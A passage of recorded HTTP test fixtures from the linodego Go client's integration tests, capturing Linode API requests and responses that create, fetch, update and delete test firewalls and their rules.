X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "810" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{"linodes":[61874172]}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 692861, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "7bcc0f03"}, "tags": ["testing"], "entities": [{"id": 61874172, "type": "linode", "label": "go-test-ins-mu576a68cw3h", "url": "/v4/linode/instances/61874172"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "694" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/692861/devices?page=1 method: GET response: body: '{"data": [{"id": 1464172, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "entity": {"id": 61874172, "type": "linode", "label": "go-test-ins-mu576a68cw3h", "url": "/v4/linode/instances/61874172"}}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "255" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/692861 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874172 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestFirewallRules_Get.yaml000066400000000000000000000155731474652371000317020ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 692859, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "7bcc0f03"}, "tags": ["testing"], "entities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "583" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:41 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/692859/rules method: GET response: body: '{"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "7bcc0f03"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "403" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/692859 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestFirewallRules_Update.yaml000066400000000000000000000220121474652371000323670ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 692860, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "7bcc0f03"}, "tags": ["testing"], "entities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "583" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"inbound":[{"action":"DROP","label":"go-fwrule-test_r","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":null,"outbound_policy":"ACCEPT"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/692860/rules method: PUT response: body: '{"inbound": [{"action": "DROP", "label": "go-fwrule-test_r", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": null, "outbound_policy": "ACCEPT", "version": 2, "fingerprint": "cddbc8f5"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "268" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/692860/rules method: GET response: body: '{"inbound": [{"action": "DROP", "label": "go-fwrule-test_r", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": null, "outbound_policy": "ACCEPT", "version": 2, "fingerprint": "cddbc8f5"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "268" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/692860 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestFirewall_Get.yaml000066400000000000000000000151461474652371000306630ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"DROP","label":"linodego-fwrule-test","protocol":"ICMP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":null,"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 692865, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "DROP", "label": "linodego-fwrule-test", "protocol": "ICMP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": null, "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "e026ab25"}, "tags": ["testing"], "entities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/692865 method: GET response: body: '{"id": 692865, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "DROP", "label": "linodego-fwrule-test", "protocol": "ICMP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": null, "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "e026ab25"}, "tags": ["testing"], "entities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/692865 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestFirewall_Update.yaml000066400000000000000000000150671474652371000313700ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"DROP","label":"linodego-fwrule-test","protocol":"ICMP","addresses":{"ipv4":["0.0.0.0/0"]}}],"inbound_policy":"ACCEPT","outbound":null,"outbound_policy":"ACCEPT"},"tags":["test"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 692866, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "DROP", "label": "linodego-fwrule-test", "protocol": "ICMP", "addresses": {"ipv4": ["0.0.0.0/0"]}}], "inbound_policy": "ACCEPT", "outbound": null, "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "1f57ba72"}, "tags": ["test"], "entities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "417" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-fw-test-updated","status":"disabled","tags":[]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/692866 method: PUT response: body: '{"id": 692866, "label": "linodego-fw-test-updated", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "disabled", "rules": {"inbound": [{"action": "DROP", "label": "linodego-fwrule-test", "protocol": "ICMP", "addresses": {"ipv4": ["0.0.0.0/0"]}}], "inbound_policy": "ACCEPT", "outbound": null, "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "1f57ba72"}, "tags": [], "entities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "420" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write 